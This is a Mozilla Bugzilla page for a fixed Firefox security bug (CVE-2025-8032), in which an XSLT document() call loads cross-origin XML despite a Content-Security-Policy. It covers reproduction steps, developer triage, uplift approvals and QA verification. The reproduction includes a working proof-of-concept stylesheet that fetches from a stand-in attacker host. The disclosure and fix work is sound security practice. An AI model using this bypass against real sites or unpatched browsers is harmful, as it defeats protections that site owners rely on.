Closed Bug 1974407 (CVE-2025-8032) Opened 10 months ago Closed 10 months ago

XSLT document() CSP SRC bypass

Categories

(Core :: DOM: Core & HTML, defect)

Firefox 142
Desktop
All
defect

Tracking

()

VERIFIED FIXED
142 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr128 141+ verified
firefox-esr140 141+ verified
firefox140 --- wontfix
firefox141 + verified
firefox142 + verified

People

(Reporter: joe, Assigned: tschuster)

Details

(Keywords: csectype-mitigation-bypass, reporter-external, sec-moderate, Whiteboard: [adv-main141+][adv-ESR140.1+][adv-ESR128.13+], [wptsync upstream])

Attachments

(3 files, 1 obsolete file)

Steps to reproduce:

  1. Hosted a malicious XSLT stylesheet that pulls a second XML file from an external origin:

    <xsl:stylesheet version="1.0"
                    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    
      <!-- Fetch attacker-controlled XML at render time -->
      <xsl:variable name="feed"
                    select="document('https://attacker-website.com/ip.xml')"/>
    
      <xsl:template match="/">
        <xsl:variable name="name" select="$feed//greeting"/>
        <xsl:variable name="ip"   select="$feed//ip"/>
        <xsl:value-of select="concat($name, ' your ip is ', $ip)"/>
        <xsl:text>&#10;</xsl:text>
      </xsl:template>
    </xsl:stylesheet>
    
  2. Served the following XML file that references the stylesheet:

    <?xml version="1.0"?>
    <?xml-stylesheet type="text/xsl" href="https://victim-website.com/xsl.xsl"?>
    <blog><post id="1"/></blog>
    
  3. Delivered both responses from victim-website.com with this CSP header:

    Content-Security-Policy:
      sandbox;
      default-src 'self';
      img-src 'self' data:;
      style-src 'self' 'unsafe-inline';
    

Actual results:

I got "Hello your ip is ***"

No CSP or SOP errors appeared in the console, and no violation reports were generated.

Firefox fetched the remote stylesheet from victim-website.com, then the stylesheet fetched https://attacker-website.com/fee.xml via document().
The transform executed and rendered:

Expected results:

  • The CSP should have blocked the external stylesheet load because default-src 'self' (and the implied script-src 'self') disallows resources from other origins.
  • Even if the stylesheet somehow loaded, the document() request to https://attacker-website.com/ip.xml should have been rejected by CSP/SOP or CORS.
  • With the sandbox directive present (no allow-same-origin, no allow-scripts), the transform itself should not have executed.
  • The browser console should have logged at least one CSP violation error instead of successfully completing the request.

The CSP should have blocked the external stylesheet load because default-src 'self' (and the implied script-src 'self') disallows resources from other origins.

CSP should have blocked the external document() load, because default-src 'self' (and the implied script-src 'self') forbids pulling resources from other origins.

should have been rejected by CSP/SOP or CORS.

Sorry about this, I meant, The cross-origin fetch ought to have been refused by CSP—just as CORS correctly blocks it.

With the sandbox directive present (no allow-same-origin, no allow-scripts), the transform itself should not have executed.

As for the sandbox directive: with no allow-scripts flag, it should prevent script execution inside the transform, so being able to run the XSLT at all feels wrong.

(Sorry about the mistake this is my security report this big :)

A hosted demo of the attack https://segs.lol/cgdXWm

Component: Untriaged → Security
Group: firefox-core-security → core-security
Component: Security → DOM: Security
Product: Firefox → Core
Group: core-security → dom-core-security
Component: DOM: Security → DOM: Core & HTML

Thanks for the the report.

When creating a channel in nsSyncLoadService::LoadDocument we don't use the XML document as the loadingDocument and thus don't inherit the CSP for the document() expression. This would also apply to other uses of the same function.

Status: UNCONFIRMED → NEW
Ever confirmed: true

I think txSyncCompileObserver::loadURI has a similar issue. This seems to be called via TX_CompileStylesheet and ultimately txMozillaXSLTProcessor::ImportStylesheet. However it's no clear to me if mProcessor->GetSourceContentModel() can ever be null. And if we should really constructing that referrerPrincipal instead of using the document principal.

Flags: needinfo?(smaug)
Assignee: nobody → tschuster

txMozillaXSLTProcessor::ImportStylesheet gets called from JS API, right?, and in that case document() doesn't load anything.
https://searchfox.org/mozilla-central/rev/53acdf9ea724c7fc85cfc259e0acf7663f4d34b8/dom/xslt/xslt/txMozillaStylesheetCompiler.cpp#534

But looking still the PI page load case...

Flags: needinfo?(smaug)

I think mProcessor->GetSourceContentModel() may return null during page load, but there should be either
mLoaderDocument or mProcessor->mObserver->(QI to nsIContentSink)->mDocument.

And that referrerPrincipal feels weird, I would have used document principal.
Hmm, https://bugzilla.mozilla.org/show_bug.cgi?id=1222624#c0 is related

Keywords: sec-moderate
Attachment #9497588 - Attachment description: WIP: Bug 1974407 - nsSyncLoadService::LoadDocument should use loadingDocument → (secure)
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 10 months ago
Resolution: --- → FIXED
Target Milestone: --- → 142 Branch

Please nominate this for Beta/ESR140/ESR128 uplift when you get a chance.

Comment on attachment 9497588 [details]
(secure)

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: Requests that should have been blocked by the Content-Security-Policy weren't being blocked.
  • User impact if declined:
  • Fix Landed on Version: 142
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): XSLT is less often used feature and this aligns us a bit more with Chrome.
Flags: needinfo?(tschuster)
Attachment #9497588 - Flags: approval-mozilla-esr140?
Attachment #9497588 - Flags: approval-mozilla-esr128?

Comment on attachment 9497588 [details]
(secure)

Adding beta uplift and approving all.

Attachment #9497588 - Flags: approval-mozilla-esr140?
Attachment #9497588 - Flags: approval-mozilla-esr140+
Attachment #9497588 - Flags: approval-mozilla-esr128?
Attachment #9497588 - Flags: approval-mozilla-esr128+
Attachment #9497588 - Flags: approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c142/b141] [qa-ver-needed-c142/b141]
Flags: qe-verify+

I can reproduce this issue in Nightly v142.0a1 from 2025-07-06 on Win 10.
The fix has been verified in Nightly v142.0a1 from 2025-07-10 and Beta v141.0b8 on Win 10, Ubuntu 24 aarch6 and MacOS 14.7.1 M1 Pro.

The issue still reproduces in the latest live Release v140.0.4, latest live ESR v140.0esr on Windows 10, Ubuntu 24 aarch64, MacOS 14.7.1 M1 Pro and the latest live ESR v115.25.0esr on Windows 7.

Furthermore, I've attempted verification using treeherder builds corresponding to the fixed ESR 140 and ESR 128 branches:

  • ESR v140.1.0esr - is fixed and verified in Windows 10, Ubuntu 24 aarch6 and MacOS 14.7.1 M1 Pro.
  • ESR v128 branch could not be verified because neither of the builds opened on Windows 7; It shows error: "Firefox is not a valid win32 application.".
Status: RESOLVED → VERIFIED
QA Whiteboard: [sec] [uplift] [qa-triage-done-c142/b141] [qa-ver-needed-c142/b141] → [sec] [uplift] [qa-triage-done-c142/b141] [qa-ver-done-c142/b141]
Flags: qe-verify+
OS: Unspecified → All
Hardware: Unspecified → Desktop
Whiteboard: [adv-main141+]
Whiteboard: [adv-main141+] → [adv-main141+][adv-ESR128.13+]
Whiteboard: [adv-main141+][adv-ESR128.13+] → [adv-main141+][adv-ESR140.1+][adv-ESR128.13+]

ESR v128 branch could not be verified because neither of the builds opened on Windows 7; It shows error: "Firefox is not a valid win32 application.".

Just FYI. This is expected. ESR115 is the only ESR branch that still runs on Windows 7 and Windows 8. All later ESR versions require at least Windows 10.

I've completed verification for ESR 128 branch on ESR v128.13.0esr on Win10 and MacOS 14 aarch64. An aarch64 build for linux could not be found in archive. Sorry about the build compatibility confusion. The fix appears to work correctly for all intended branches.

Attached file advisory.txt (obsolete) —
Attached file advisory.txt
Attachment #9500538 - Attachment is obsolete: true
Alias: CVE-2025-8032
Flags: needinfo?(tschuster)
Group: core-security-release
Flags: needinfo?(tschuster)
Attachment #9498617 - Attachment description: (secure) → Bug 1974407 - Test Content-Security-Policy with XSLT. r?smaug
Created web-platform-tests PR https://github.com/web-platform-tests/wpt/pull/54419 for changes under testing/web-platform/tests
Whiteboard: [adv-main141+][adv-ESR140.1+][adv-ESR128.13+] → [adv-main141+][adv-ESR140.1+][adv-ESR128.13+], [wptsync upstream]
Upstream PR merged by moz-wptsync-bot
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: